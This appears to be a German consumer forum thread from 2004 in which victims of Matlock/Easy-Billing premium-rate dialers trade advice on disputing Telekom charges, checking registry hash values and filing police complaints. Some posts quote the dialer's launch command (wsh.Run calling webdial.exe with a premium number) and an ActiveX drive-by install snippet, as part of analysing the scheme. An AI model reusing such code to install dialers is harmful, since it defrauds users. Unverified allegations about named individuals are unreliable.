Erfahrungen mit Rückforderungen, Zahlungsverweigerungen, etc.
Kontakte zu RegTP, DTAG, Matlock, Belize, ...
Stand der Ermittlungen bei Einspruchsverfahren
Staatsanwaltschaft, Polizei, Gerichte, ...
Verbraucherzentrale?
Renate Künast, Verbraucher(schutz)ministerium?
...

Habe gestern mit Telekom telefoniert, lt. Aussage eines DTAG-Mitarbeiters habe ich beste Chancen, meine 29,95 € behalten zu dürfen (ich habe diesen Betrag über meine Bank zurückgefordert, habe 1 Einzugsermächtigung für die Telefonrg.), allerdings hatte mein Gesprächspartner keine konkreten Infos über unsere Geschichte. 

Für 1 Einspruch benötigt die DTAG 1 post-schriftliches Schreiben, incl. Details wie "Diensteanbieter", Einwahlnr., Datum, ... 
Ich denke, der Einzelverbindungsnachweis, so man ihn glücklicherweise hat, ist hierfür völlig ausreichend, oder???

*Bitte Termine beachten: für 1 schriftlichen Einwand räumt uns die DTAG 8 Wochen ab Rechnungsdatum ein!!!*

Ernst-Helmut


----------



## klatsche (17 März 2004)

@ Ernst-Helmut

Ein bisschen Auflockerung kann doch nicht schaden oder ???

jetzt aber mal im Ernst.

Du hast in deinem letzen Posting geschrieben bezügl. des Einspruchs

als Postschriftliches Einschreiben zu übersenden.

Ich habe denen einfach den EVN mit eingerahmter Position gefaxt
und vermerkt das ich einen Einspruch gegen diese Position erhebe.

Die T-Com hat mir meinen Einspruch ca. 4Tage danach schriftlich
bestätigt. 

Das müßte doch dann als Einspruchsbeweis ausreichen ?? oder??

Zu deiner angeregten Bestandsaufnahme - gute Idee!!!-

aber wie könnte man diese realisieren ??

Wäre auch bereit daran mitzuwirken.

Nach einer Bestandsaufnahme hätte man vielleicht auch etwas handfestere
Argumente der T-com gegenüber falls Sie einen Einspruch ablehnen und
mit der Masche kämen bei Easy Billings wäre alles sooooo in Ordnung.

gruß

klatsche


----------



## klatsche (17 März 2004)

sorry für die mehrfach Postings

habe Probleme mit der Verbindung und dachte das erste wäre nicht 
durchgegangen.


_Ich hab das eine der identischen Doppelpostings dann mal gelöscht *BT/Moderator*_


----------



## blumenwiese23 (17 März 2004)

*Re: Dialermaffia aus Eggebeck*



			
				blumenwiese23 schrieb:
			
		

> klatsche schrieb:
> 
> 
> 
> ...



da ich ein paar pns bekommen habe, will ich den sachverhalt hier ein bisschen näher erklären. wichtig, es gibt KEIN aktenzeichen von der regtp. 
anruf bei der regtp, dort habe ich die nummern durchgegeben und man hat mich aufgeklärt. ich habe folgende nummern auf der t-rechnung: 09009000423 und 090090000264. (wie schon in ca. 32 postings erwähnt)
bei beiden nummern gibt es jeweils drei verschiedene nummern-endungen. die registrierungsdaten sind bei den drei nummern identisch.
09.12.2003, 17.12.2003 und 04.02.2004. meine einwahlen waren im januar. jeweils die ersten beiden nummern haben als hash-wert  nur eine 128-bit verschlüsselung d.h. der hash-wert zeigt nur 32 zeichen an => nicht rechtskonform registriert!! :lol: 
die beiden nummern mit dem registrierungsdatum 04.02.2004 gewährleisten eine rechtskonforme 160-bit verschlüsselung d.h. der hash-wert zeigt 40 zeichen an. => meine einwahl war aber im januar 8) .genau diesen sachverhalt habe ich der telekom am 11.03.04 schriftlich geschildert und warte noch auf eine antwort. 

dieses vorgehen ist kein masterplan, und passt eben auf oben genannte nummern und das einwahldatum!!
wenn die einwahl der geschädigten VOR dem 04.02.2004 unter oben genannte nummern stattgefunden hat, sehe ICH allgemein keine zahlungspflicht. 

wer der regtp eine e-mail geschrieben hat, kann lang warten. besser 
anrufen.


----------



## Anonymous (17 März 2004)

Rigo schrieb:
			
		

> Hallo Leute,also mich hat es letzten Monat auch erwischt.
> Werde meine Rechnung der T zurückbuchen und nur den Unbestrittenen Betrag anweisen.
> Jetzt habe ich aber soviel hier gelesen,und versuchte auch die diversen Schreiben die ich aufsetzen muss zusammenzusuchen.
> Nur irgendwie geht keiner der Links,die auf irgend eine PDF zeigen sollen.
> ...



Ich habe auch eine Rechnung über 25,8190 Euro bekommen. Nach Rücksprache mit einer sehr netten Dame bei der Telecom (Frau Reuswich, Tel. 08003301030 kostenlos) bin ich so mit ihr verblieben, daß sie den Betrag von 25,82 inkl. Mwst. wieder zurücküberweist und ich für die nächste Zeit vom Abbuchungsverfahren ausgeschlossen werden. Meine nächsten Rechnungen muß ich nun selbst überweisen. Mir werden dann evt. 2 Mahnungen zugeschickt von der Telecom die den nicht bezahlten Betrag von 25,82 anmahnen wollen, die solle ich aber nicht beachten. dann soll ich in 6 Wochen zurückfragen, ob sich der Fall erledigt hätte. Die Telefonnummer die ich gewählt haben soll ist eine 090090000576 von einem Richter, Andreas Fa. Ikterus. Ich möchte alle bitten, sich gegen diese Rechnung zu wehren und auf keinen Fall abwarten oder sich mit diesen Firmen in Verbindung zu setzen. Die erzählen einem sonst was. Soll doch die Telecom versuchen, ihr Geld von uns wieder zu bekommen und nicht umgekehrt, vielleicht wird dann solchen Betrügern endlich mal das Handwerk gelegt. Wenn es hart auf Hart kommt kann man immer noch bezahlen, aber bei höheren Beträgen sollte man sowieso sofort den Rechtsschutz (falls man einen hat) einschalten. Gruss Monika Roth.


----------



## Anonymous (17 März 2004)

*Der Benutzer "[email protected]"...*

Der Benutzer "[email protected]" hat eine Verbindung mit "exDialer" hergestellt, unter Verwendung des Geräts "ISDN2-1".


das steht bei mir in der verwaltung des windows systems.

sollte ich möglichst schnell alles unternehmen dass die telekom bei der nächsten rechnung (in der der entsprechende betrag abgebucht werden soll) das nicht abbuchen kann? oder kann man das nicht widerrufen?

was soll ich da alles machen?

mfg profiler


----------



## Anonymous (17 März 2004)

*auffällig*

also, ich hab noch mal nachgesehen und mit schrecken festgestellt, dass sich dieser dialer insgesamt 2 mal bei mir eingewählt hat, aber jedes mal wenn esunter der systemverwaltung heißt:

Der Benutzer "[email protected]" hat eine Verbindung mit "exDialer" hergestellt, unter Verwendung des Geräts "ISDN2-1".

kommt danach der eintrag:

Der Server konnte zu der Transportschicht \Device\NetBT_Tcpip_{178F643F-4ACA-4E8D-87FA-D1210DD0AD91} keine Verbindung herstellen.

und gleich danach kommt die meldung:

Die Verbindung mit "exDialer", hergestellt durch den Benutzer "[email protected]" unter Verwendung des Geräts "ISDN2-1", wurde getrennt.

und beide mal liegen zwischen dem erstellungsdatum der "herstellund der verbinfung" und der "beendigung" 12 sekunden. Kann das eventuell heißen dass der dialer versucht hat sich einzuwählen, aber sich nicht eingewählt hat, da er den server nicht erreichen konnte?

mfg profiler


----------



## eb-victim (17 März 2004)

*Strafanzeige oder -antrag?*



			
				Qoppa schrieb:
			
		

> @ eb-victim
> was Du stellen solltest, ist eine *Strafanzeige* (Strafantrag muß zusätzlich gestellt werden nur bei solchen Delikten, die nicht von Amts wegen verfolgt werden, - was hier, Betrug etc., wohl nicht vorliegt).


@ Qoppa
Ich dachte an Strafantrag u. a. wg. Verstoss gg. §§ 303a,303b StGB.
Für die "erfolgreiche" Anwahl eines Auto-Dialers habe ich keinen hieb- und stichfesten Beweis.
Nachweisen kann ich aber, dass mir von einer Matlock-Site eine Datei WMPLAYER.EXE untergeschoben wurde, die automatisch wählen wollte (Modemkabel war herausgezogen, also kein finanzieller Schaden).
Beweisen kann ich versuchten Betrug.
Als juristischer Laie dachte ich, ein Antrag sei besser, falls ein öffentliches Interesse verneint würde.

Lohnt sich ein Zusatz wie "und anderer in frage kommender Delikte"?


----------



## TSCoreNinja (17 März 2004)

*Haldex Matlock Zusammenarbeit?*

Software - Interoperabilitaet?
Gesichtet wurde folgender Matlock Dialeraufruf

```
wsh.Run("c:\webdial.exe -cid=DE -ph=T0190833959000 -url=http://members.$MATLOCKURL.net/galleries/ -fburl=http://connect.$HALDEXURL.com/connect.php?did=od-teen4 -nospk=true -web=yes");
```

Wofuer steht zum Teufel -fburl? 
Naja, ein paar Auszuege aus der Seite:

```
function StartIt() { self.location.replace("download.php?did=od-teen4&country=de
&"); }

<OBJECT ONERROR="ErrorHandler();" ID="PlugInObject" CLASSID="CLSID:02C20140-76F8
-4763-83D5-B660107B7A90" WIDTH="1" HEIGHT="1" CODEBASE="/cax.cab">
```
Cab enthaelt ein ActiveX Object(?) Ole32ws.dll +inf,  und download.php den obligatorischen Dialer.... 

Quelle: Ein italienisches WebLog

BTW, Dialerlinks sind aktiv und vermutlich gefaehrlich...


----------



## eb-victim (17 März 2004)

*Re: Haldex Matlock Zusammenarbeit?*



			
				TSCoreNinja schrieb:
			
		

> Software - Interoperabilitaet?
> Gesichtet wurde folgender Matlock Dialeraufruf
> Wofuer steht zum Teufel -fburl?


Ich vermute: Fallback-URL
Vermutlich wird diese Seite angezeigt, falls die Zielseite nicht mehr existiert oder falls die Zielseite geschlossen wird.
Für jedes Fenster, das man schließt, geht ein neues auf ...


----------



## klatsche (17 März 2004)

*Re: Der Benutzer "[email protected]"...*



			
				profiler schrieb:
			
		

> Der Benutzer "[email protected]" hat eine Verbindung mit "exDialer" hergestellt, unter Verwendung des Geräts "ISDN2-1".
> 
> 
> das steht bei mir in der verwaltung des windows systems.
> ...



Falls die linke Bazille sich eingewählt haben sollte, kannst du id.R. die Kohle innerhalb 6 Wochen zurückholen.

Ich persönlich bezahle meine T-Com Rechnung schon immer lieber per
Überweisung ist zwar etwas umständlicher, aber ich trau der T-Com
nicht weiter als 1 meter und seitdem das WWW dermaßen Dialer verseucht
ist, ist es wahrscheinlich eh das beste.

gruß

Klatsche


----------



## Anonymous (17 März 2004)

*Hurra, Gutschrift von der Tekom erhalten !!!*

Hallo zusammen,
habe gestern von der telekom die Gutschrift erhalten !!   
Wie ich euch unter der seite 26 bereits mitteilte, konnte ich auf meinem Rechner einen nicht registrierten Hashwert identifizieren und damit die Telekom überzeugen, dass der Dialer auch nicht registriert ist. 

Also nochmal an alle Geschädigten da draussen, schaut euch den Hashwert an, sollte dieser nicht übereinstimmen mit der Auflistung der Reg-Behörde, dann braucht ihr kein anwalt, keine Sammelklage oder sonst irgendwelche hochkomplizierte Maßnahmen einleiten, sondern einfach der Telekom die Nummer zufaxen, und fertig !   

Und noch etwas:
Natürlich ärgere ich mich immer noch über diesen matlock-Dialer, dass der weiterhin den einen oder anderen von euch die Kohle aus der Tasche zieht, obwohl mittlerweile sicherlich auch die Reg-Behörde davon Wind bekommen hat. 
Aber ganz ehrlich "man kann nicht jeden Krieg führen und vor allem nicht gewinnen" Schaut zu, dass ihr euer hartverdientes Geld über den von mir beschriebenen Weg zurückbekommt, und basta !   :fg2:


----------



## klatsche (17 März 2004)

*Re: Haldex Matlock Zusammenarbeit?*


```
wsh.Run("c:\webdial.exe -cid=DE -ph=T0190833959000 -url=http://members.$MATLOCKURL.net/galleries/ -fburl=http://connect.$HALDEXURL.com/connect.php?did=od-teen4 -nospk=true -web=yes");
```

@ TSCoreNinja

Matlock scheint ja schon eine ganze Weile sein Unwesen zu treiben,
diesen "od-teen Dialer hatte ich schon vor ca. einem Jahr mehrmals
auf dem Rechner.

Hatte heute mit einer sehr netten Dame von der regTP ein längeres Telefonat.

So wie sich das anhörte wird Easybilling/Matlock bald mächtig eingeheitzt. :dafuer: 

Auserdem gab Sie mir den Tip (was Auslandsdialer angeht) mal auf der Seite beim "Bundesamt für Sicherheit in der Informationstechnik" mal reizuschauen.   www.bsi.de

gruß

Klatsche


----------



## klatsche (17 März 2004)

*Re: Hurra, Gutschrift von der Tekom erhalten !!!*



			
				Gast NR. Tausend schrieb:
			
		

> Hallo zusammen,
> habe gestern von der telekom die Gutschrift erhalten !!
> Wie ich euch unter der seite 26 bereits mitteilte, konnte ich auf meinem Rechner einen nicht registrierten Hashwert identifizieren und damit die Telekom überzeugen, dass der Dialer auch nicht registriert ist.
> 
> ...




@Gast NR1000

leider ist nicht jeder von uns in Deiner glücklichen Situation.  :cry2: 

gruß

Klatsche


----------



## Qoppa (17 März 2004)

@ eb-victim

ich bin auch nur "Hilfsjurist" (soll heißen: hab mir mein Wissen hier im Lauf der Zeit angeeignet).

Also mit entsprechendem Vorbehalt: wenn, dann musst Du eh Strafanzeige stellen. Strafantrag ist wie gesagt nur dann zusätzlich erforderlich, wenn es ein "Antragsdelikt" ist.

Soweit ich es beurteilen kann: das dürfte im Prinzip reichen für versuchten Betrug, und für erfolgreiche Datenmanipulation ("und andere Delikte", - das schadet sicherlich nicht!). Aber frühere Versuche zeigen, daß die Ermittlungsbehörden diese Dinge nicht eben mit Begeisterung aufgreifen: zu geringer Schaden, keine Ahnung von Internet, unklar in welche Richtung zu ermitteln ist. Vielleicht hat sich das etwas geändert. Aber eine gute, schlüssige Präsentation ist entscheidend (ebenso wie ein Gericht muß man einen Staatsanwalt eben *überzeugen*, daß an der Sache was ist).


----------



## blumenwiese23 (17 März 2004)

*Re: Hurra, Gutschrift von der Tekom erhalten !!!*



			
				Gast NR. Tausend schrieb:
			
		

> Hallo zusammen,
> habe gestern von der telekom die Gutschrift erhalten !!
> Wie ich euch unter der seite 26 bereits mitteilte, konnte ich auf meinem Rechner einen nicht registrierten Hashwert identifizieren und damit die Telekom überzeugen, dass der Dialer auch nicht registriert ist.
> 
> ...



das hab ich ja auch schriftlich gemacht. ich hoffe, dass sich nicht eine weitere mahnung mit der "erlösung" überschneidet. sonst gibt das wieder eine riesen telefonier-aktion. ich hab ja jetzt schon keine lust mehr, bei der telekom anzurufen.


----------



## Anonymous (17 März 2004)

TSCoreNinja schrieb:
			
		

> Auch auf die Gefahr eines Schnellschusses. Kann hier jemand tschechisch? Bitte mal http://www.fin.cz/nazory/default.asp?A=P&T=739&PR=100660 anschauen und zusammenfassen.
> 
> Stichworte: Belize, Kaiman Islands, off-shore, investment.
> Gruesse,
> TSCoreNinja





			
				tschechischer Freund schrieb:
			
		

> [the] article is about the A**--> connected with *&*, ... controversial financial group in CZ & Slovakia. A** pretending that is serious British "risk capital company" is investing to lots of projects in both countries. ... they are just prolonged hand of *&* ...
> (...)
> Hired director of A** Mr. M*** P*** D*** of island Sark, is a "director" of thousands other similar companies around the world too. (He) had some problems in the USA few years ago, suspected of money laundering and connections with Russian mafia. He is only a puppet but for instance was a "serious" partner of Slovak government when A** (*&*) bought ... a most luxury Slovak hotel Forum in Bratislava last year.
> 
> [...]


----------



## Anonymous (17 März 2004)

http://www.polizei.propk.de/service/sicher/dialer.xhtml


----------



## Step (17 März 2004)

*-425 Dialer Februar 2004*

Hat denn keiner den Dialer aus dem Februar mit der Endnummer -425 um den Hashwert zu ermitteln?
Bitte um HILFE!
Danke...


----------



## TSCoreNinja (17 März 2004)

*MBP*

Wie werde ich internationaler Dialerdruecker? Bin bei der Suche nach Fortbildungsmoeglichkeiten ueber etwas gestolpert... 

Mein Phantom MPD gibt Kurse gegen Cash, siehe die Kurse zu INTERNATIONAL OFFSHORE QUALIFICATIONS, CAMPBELL'S COLLEGE IN CYPRUS.
Veranstaltungen gibts u.a. auch in Gibraltar und Belize. Ob die Kollegin von der British Telecom Tochter BT Open World gleich die Verbindungen zu BT Muenchen zur Abrechnung arrangiert? 
[edit]Die Bemerkung war unmotiviert, da [email protected] Mailadressen als Zugabe zu dem Internet Zugang von BT Openworld vergeben werden[/edit]
Gruesse,
TSCoreNinja

BTW, besteht da evt eine Querverbindung zu HAS? 


			
				Galdikas schrieb:
			
		

> *CREA INVEST ApS*  ( Selskabsregistreringer )


im diesem Posting


			
				Galdikas schrieb:
			
		

> Der Daene (Sun Telecom - Content) und der Spanier (Premium Media - Dialer) haben eine Zusammenarbeit ihrer Unternehmen ( 2.600.000 ? / Monat) verabredet: Enrique. D.: "Esta alianza-union nos posiciona como uno de los primeros en el sector en España de la tarificacion adicional." Morten S.: "La experiencia y posicionamiento de Premium en el mercado de dialers, su fuerte potencial y el numero de grandes clientes usando su tecnología, hizo que fuese una decision clara para nosotros".
> ( Quelle: http://www.noticiasdot.com/publicaciones/2004/0104/2101/noticias210104/noticias210104-1.htm )
> 
> Enrique haelt ueber seine in Uruguay beheimatete Firma SX Networks mehrere Dialer-Unternehmen. Er ist/war auch an den spanischen Aktiengesellschaften ELIPSOS INTERNACIONAL, S.A. und IBERO LATINA DE TELECOMUNICACIONES, S.A. beteiligt, ebenso wie an der spanischen CREA LINK, S.L. Er fuehrt auch die Geschaefte bei Bingos.com, das zusammen mit Parley Entertainment, einer Tochter der Dotcom Entertainment Group (DCEG) den Aufbau eines weltweiten Bingo-Netzwerks plant: "Bingos.com is focused on creating a worldwide bingo network. Europe is an initial target market, with Spanish-speaking countries providing the next growth market for Bingos.com. Offering "Premium Blend Bingo," Bingonanza.com is themed to recreate the golden days of Las Vegas. Video poker, slots and pull-tabs enhance the player experience at both sites."
> ( Quelle: http://www.gambling911.com/onlinegaming-news.shtml )


hier.
Oder ist die Namensaehnlichkeit Crea nur Zufall? Nun ja, Crea Daenemark ist jedenfalls insolvent. 
Gruesse,
TSCoreNinja


----------



## Anonymous (17 März 2004)

*Dialer 09009...*

Hi, Ich habe ebenso ein Problem mit meiner letzten Telefonrechnung, wo plötzlich diese spezielle 090090000262 Nummer auftaucht, bei einer Verbindung von 34 Sek am 20.02.2004 und zu einem noch geringen Betrag von 25 €. Bei Nachforschungen bin ich auf diesen selben Anbieter gestoßen: 
Reg.-Nr.: 90090000262-1263826 vom : Feb 4 2004 9:50AM 
Adressierungsmerkmal : <> 
Hash - Wert :13817378ABFA29F274C1F9655AB315B195F6792C
Dateiname : Dialer_090090000262.exe
Dialer - Version : 3.0.0.2 
Inhalteanbieter : Matlock Business Corp. Jasmine Court, 35A Regent Street, P.O. Box 1777, Belize City, Belize

Ich hatte nie einen Dialer wissentlich installiert. Auch habe ich jetzt alles durchsucht und kann auch in meinem System keinen entdecken. Auch das Dialersuchprogramm "Yaw 3.5" hat nichts entdecken können. Außerdem habe ich einen 0190/0900 Warner installiert und der hat auch nicht angeschlagen. Ich frage mich wie es zu dieser Einwahl nun gekommen sein soll? Auf jeden Fall werde ich den Betrag nicht bezahlen, egal was kommt. Und über meinen Telefonanbieter werde ich in Zukunft alle 0900-Nummern zusätzlich sperren lassen. 

Peter


----------



## eb-victim (17 März 2004)

*Re: -425 Dialer Februar 2004*



			
				Step schrieb:
			
		

> Hat denn keiner den Dialer aus dem Februar mit der Endnummer -425 um den Hashwert zu ermitteln?


Ich habe den Dialer. Er ist bei der Reg TP mit dem korrekten Hash-Wert, aber mit einer falschen Versionsnummer registriert.
Kumma hier: http://forum.computerbetrug.de/viewtopic.php?p=44659#44659


----------



## Rigo (18 März 2004)

*Tja jetzt will die Telekom das Geld doch von mir !*

Die Telekom will jetzt doch das Geld von mir,ich werde aber definitiv nicht zahlen.
Ist mir egal,und wenn ich wegen der 25,82 vor gericht gehe.

Wortlaut des schreibens :


> Sehr geehrter Herr ...,
> 
> vielen Dank für Ihr Schreiben, mit dem Sie uns Gelegenheit geben zur Klärung Ihres Anliegens.
> 
> ...


Hier kommt dann nur noch das Sie einen Ausdruck anhängten um die Einzelverbindungsnachweise zu beantragen.
Und natürlich das Sie mehrwertdienste in form von wir sperren für Sie die Nummern.

Ist alles Quatsch und meiner Meinung nach Mafiosi getue.

Ich Persönlich werde diese 25,82 nicht begeichen und wenn ich alleine vor Gericht gehe.
Wofür hat man den einen Rechtschutz.
Und wenn Sie mir das Tel. sperren deswegen ist mir auch egal.
es gibt Prepaid Handys von anderen Anbietern.

Was das ganze betrifft,das die Netzbetreiber jetzt dann dafür selbst sorge tragen müssen,das die Angebote der Dialerdienste Seriös sind,da wird dann wahrscheinlich was gemacht werden von der Telekom.
Da sie ja dann selbst dafür verantwortlich sind.
Aber jetzt solange Sie dachten das der Endverbraucher sich nicht Informiert,machen Sie Fröhlich weiter mit einziehen der Rechnungen.

Schade das nicht mal ein Paar grosse Firmen an diese Betrüger der Dialer geraten,so das endlich mal einer von den Verantwortlichen in den Knast muss.

mfg Rigo

*[Virenscanner: Namen vorsichtshalber entfernt]*


----------



## blumenwiese23 (18 März 2004)

*Re: Tja jetzt will die Telekom das Geld doch von mir !*



			
				Rigo schrieb:
			
		

> Die Telekom will jetzt doch das Geld von mir,ich werde aber definitiv nicht zahlen.
> Ist mir egal,und wenn ich wegen der 25,82 vor gericht gehe.
> 
> Wortlaut des schreibens :
> ...



was schreibt die telekom da :-? 
rigo, schau mal hier nach http://forum.computerbetrug.de/viewtopic.php?p=45010#45010
@all oder liege ich falsch??


----------



## Anonymous (18 März 2004)

*0190-0900 Abzocker*

Hallo Opfer / Gast !

Danke für die Beiträge. Ich habe diese genutzt und konnte mit der Telekom eine einvernehmliche Kulanz auf freundlicher Weise erreichen.
Die Geschädigten von Easy-Billing mit der Nummer 263 Matlock Biussines in Belze können keine Beweise ( Hardcopy ) erbringen, weil der Abzokker sich nach dem Abzockken selbst löscht.

Die oben aufgeführten Schreiben, ein Auszug von der RegTP über dieses Unternehmen  E a s y  -  B i l l i n g  in Eggebeck wo einige Anmeldungen in kurzen Abständen erfolgten, haben dazu geführt, dass sich die Telekom auf freundlicher Weise sehr kundenfreundlich verhalten hat.
Seid also nett zu der Telekom, es zahlt sich aus.
Laßt Euch mit dem Back-Office verbinden, ansonsten sind die Chancen gering.

Nochmals Danke für die Schreiben vom Gast/Opfer. 
Wollt Ihr Näheres wissen, mailt mir.
 :bussi:


----------



## blumenwiese23 (18 März 2004)

*näheres wissen*

hallo rudolf werner, poste doch dein "näheres wissen" hier im forum  . um welchen betrag handelt es sich bei dir?
wann waren deine einwahlen?

gruss


----------



## Anonymous (18 März 2004)

*Re: Hurra, Gutschrift von der Tekom erhalten !!!*



			
				Gast NR. Tausend schrieb:
			
		

> Hallo zusammen,
> habe gestern von der telekom die Gutschrift erhalten !!
> Wie ich euch unter der seite 26 bereits mitteilte, konnte ich auf meinem Rechner einen nicht registrierten Hashwert identifizieren und damit die Telekom überzeugen, dass der Dialer auch nicht registriert ist.
> 
> ...




Was heißt hier Krieg führen. Stellt einfach bei der Polizei Strafanzeige, kostet nur die eigene Zeit für die Anzeige, sonst nichts.


----------



## Anonymous (18 März 2004)

*Re: näheres wissen*



			
				blumenwiese23 schrieb:
			
		

> hallo rudolf werner, poste doch dein "näheres wissen" hier im forum  . um welchen betrag handelt es sich bei dir?
> wann waren deine einwahlen?
> 
> gruss



Es handelt sich um 91,94 Euro.
Der Dialer hat beim zweiten und dritten  Zuschlag einen Block gebucht, d.h. für jeweils 1 Sekunde wurden 25,82 Euro + Mwst fällig. Damit liegt er genau unter der 30 Euro Grenze.


----------



## Rigo (18 März 2004)

Tja,mein Problem ist.

1.) Nicht gemerkt das eine Einwahl VIA ISDN geschah.
2.) Nach Scannen des PC keinen Dialer vorgefunden.
3.) Nach prüfen sämtlicher Logdateien keine gewählte nummer gefunden.

Und von der RegTP bekomme ich dann natürlich gesagt,ohne Hash keine Chance nichts zu bezahlen.
Ich werde aber definitiv nicht zahlen.
Ist mir wie gesagt wurst.
Die wollen von mi rGeld für etwas das ich nicht gemacht habe und für das meiner Meinung nach Absolut kein Anspruch besteht.

Zur Not gehe ich auch soweit das ich alles Kündige und die können mir mit nem Offenbarungseid und Knast und allem kommen.
Ich brauche keinen Kredit.
Sprich mir ist es egal ob ich ne Negative Schufa auskunft habe.
Da ich eh immer alles in Bar mache.

So sieht es bei mir aus.
Bin Prinzipienreiter,das heist lange zeit rumhändeln für die Telekom.
Wobei sie dann auch noch das Geld bei mir verlieren das Sie Korrekt bei mir verdienen könnten.

Naja,mir soll es wie gesagt egal sein.
Gibt PrePaid Handys und andere Anbieter die sich das garantiert nicht nehmen lassen.
Da meine Tel. Rechnung jeden Monat ca. 120.-€ macht.
Auf das Jahr gerechnet bin ich alleine für das Gehalt eines Mitarbeiters der Telekom verantwortlich.
(Ok ein Kleinverdiener aber ein Mitarbeiter  )

Den werden sie dann auch Feuern können 

So das war jetzt alles von meiner Seite zu dem Thema.
Ich werde ab und an noch hier lesen,und danke allen für die Sachlichen Hilfestellungen.

mfg Rigo


----------



## Anonymous (18 März 2004)

*Re: näheres wissen*



			
				Rudolf  WERNER schrieb:
			
		

> blumenwiese23 schrieb:
> 
> 
> 
> ...



Der Nachtrag: am2. Jan o4 waren es einige Minuten und am 3.1.04 waren jeweils 1 Sekunde und dafür 25,82 + Mwst.


----------



## Ernst-Helmut (18 März 2004)

*Re: 0190-0900 Abzocker*

huhu rudolf werner!
wenn du dich anmeldest, könnte man direkten Kontakt zu dir aufnehmen, is janz fix erledigt ('')
Ernst-Helmut




			
				Rudolf  WERNER schrieb:
			
		

> Hallo Opfer / Gast !
> 
> Danke für die Beiträge. Ich habe diese genutzt und konnte mit der Telekom eine einvernehmliche Kulanz auf freundlicher Weise erreichen.
> Die Geschädigten von Easy-Billing mit der Nummer 263 Matlock Biussines in Belze können keine Beweise ( Hardcopy ) erbringen, weil der Abzokker sich nach dem Abzockken selbst löscht.
> ...


----------



## blumenwiese23 (18 März 2004)

*Re: 0190-0900 Abzocker*



			
				Rudolf  WERNER schrieb:
			
		

> Hallo Opfer / Gast !
> 
> Danke für die Beiträge. Ich habe diese genutzt und konnte mit der Telekom eine einvernehmliche Kulanz auf freundlicher Weise erreichen.
> Die Geschädigten von Easy-Billing mit der Nummer 263 Matlock Biussines in Belze können keine Beweise ( Hardcopy ) erbringen, weil der Abzokker sich nach dem Abzockken selbst löscht.
> ...



hallo rudolf werner. danke für die infos. nicht nur die dialer mit der nummer ...263, sondern viele andere dialer mit anderen endungen löschen sich von selbst. 

ein paar sachen sind mir aber noch nicht klar.
wie weit geht die kulanz der dtag bei dir- keine zahlungspflicht oder was?
du beziehst dich in deinem oberen posting auf die tatsache, dass sich der dialer selbst löscht. das ist nicht illegal! :-? 
was soll das für ein "auszug" von der regtp über easy billing sein? hast du ein aktenzeichen?

gruss


----------



## juanito (18 März 2004)

*Re: 0190-0900 Abzocker*

Hallo,



			
				Rudolf  WERNER schrieb:
			
		

> Hallo Opfer / Gast !
> 
> Seid also nett zu der Telekom, es zahlt sich aus.
> Laßt Euch mit dem Back-Office verbinden, ansonsten sind die Chancen gering.


das kann ich leider nicht bestätigen. Ich habe auch schon mit dem Back-Office gesprochen... von Verständnis keine Spur.

Die Dame hat mich sogar angelogen. Sie sagte,  sie hätte meine Angaben "sorgfältig geprüft".  In Wirklichkeit hat sie jedoch gar nichts geprüft und nur ein Standardschreiben rausgezogen. 

Als ich ihr das im Telefongespräch nachgewiesen habe, war ihr das hörbar peinlich, nach ein paar Stunden mußte sie sich aber wieder gefangen haben, da tags drauf ein Brief  mit den bekannten stereotypen Aussagen kam ...

Viele Grüße


----------



## sherlock70 (18 März 2004)

*Noch ein Opfer*

Hi an alle,

und wieder einer... 

Habe mit meiner Abschlussrechnung(!!) nach einem Umzug noch einen Posten mir PRS (Offline) bekommen (25,81€). Das war Montag. Dienstag habe ich diese Forum gefunden, und nachdem ich mich durch die 33 Seiten gekämpft hatte, bei der Telekom angerufen und den entsprechenden Posten reklamiert.
Zunächst hatte ich mit einem Call-Center Mitarbeiter aus Koblenz gesprochen, der sich jedenfalls recht verständnisvoll zeigte. Ich schilderte ihm die Geschichte und bat ihn, mir einen Einzelverbindungsnachweis der gewählten Mehrwert-Nummern zu schicken (Anna hat da wohl auf einer der ersten Seiten darauf hingewiesen, daß seit dem 01.02.04 sowas möglich ist. Danke!!) Und - oh Wunder - der Call-Center-Mensch hatte davon auch gehört, und leitete die ganze Geschichte an das Back-Office weiter.
Ich wurde dann nach ca. 30 Minuten von eben dort angerufen, Back-Office Frankfurt, glaube ich. Die Dame war zwar freundlich, meinte allerdings, daß es nicht möglich sei, den fraglichen Betrag aus der Rechnung zu streichen, und ebenso sei es nicht möglich den Einzelverbindungsnachweis nachträglich zu machen.  Beiden Aussagen habe ich dann freundlich, aber bestimmt widersprochen, und sie hat einen Rückruf versprochen. Dieser erfolgte dann auch tatsächlich, und man merkte, daß sie sich mit der Materie zwischenzeitlich beschäftigt hat, denn sie forderte einen Hash-Wert an. Den konnte ich nicht liefern, da der Dialer sich ja löscht. Allerdings sagte Sie, Ihre Teamleiterin habe da so ein Programm, mit dem man den gewünschten Einzelverbindungsnachweis erstellen könne . Und auch den fraglichen Posten werde man aus der Rechnung rausnehmen:-D. Der Verbindungsnachweis soll mir per Post zugestellt werden, so daß ich dann die entsprechende Dialer-Nummer finden kann. Leider bis heute noch nicht angekommen, aber insgesamt ein guter Service (wenn Sie tatsächlich nicht die 25€ abbuchen). 
Achja, natürlich habe ich noch ein entsprechendes Schreiben gefaxt, in dem ich nochmal den Sachverhalt und die Personen, mit denen ich gesprochen habe aufgeführt habe.

Mal schauen was bei rumkommt. Und keine Angst, nicht alle meine Postings werden derart lang sein... 

Grüße,
Sherlock


----------



## bird_9UD (18 März 2004)

*Immer noch keine Lösung ??*

Hi zusammen, 

wo ist ANNA, die hier vor ein paar Tagen noch sehr aktiv war ? 

Ich hätte da zwei spezielle Fragen an sie/ihn ... PN wäre nett ! 

An den Rest : Wer hat denn eigentlich schon Anzeige erstattet ? 
Wer hat denn der RegTP geshrieben ? 

Hier würde ich mich auch über VIELE Mails freuen, bitte AZ der 
Polizei bzw. der StA nennen, danke. 

Uwe : "423er 17.01.2004 2 Sekunden, bisher ohne Mahnbescheid" 

Nach oben


----------



## hrachka (18 März 2004)

[temporär verschoben ]


----------



## TSCoreNinja (18 März 2004)

Da Matlock meint, eine JavaScriptadresse mit der Abfrage eines 3maligen Ja sei hinreichend, um RegTP konform zu sein, habe ich mir eben diesen mal angeschaut. 
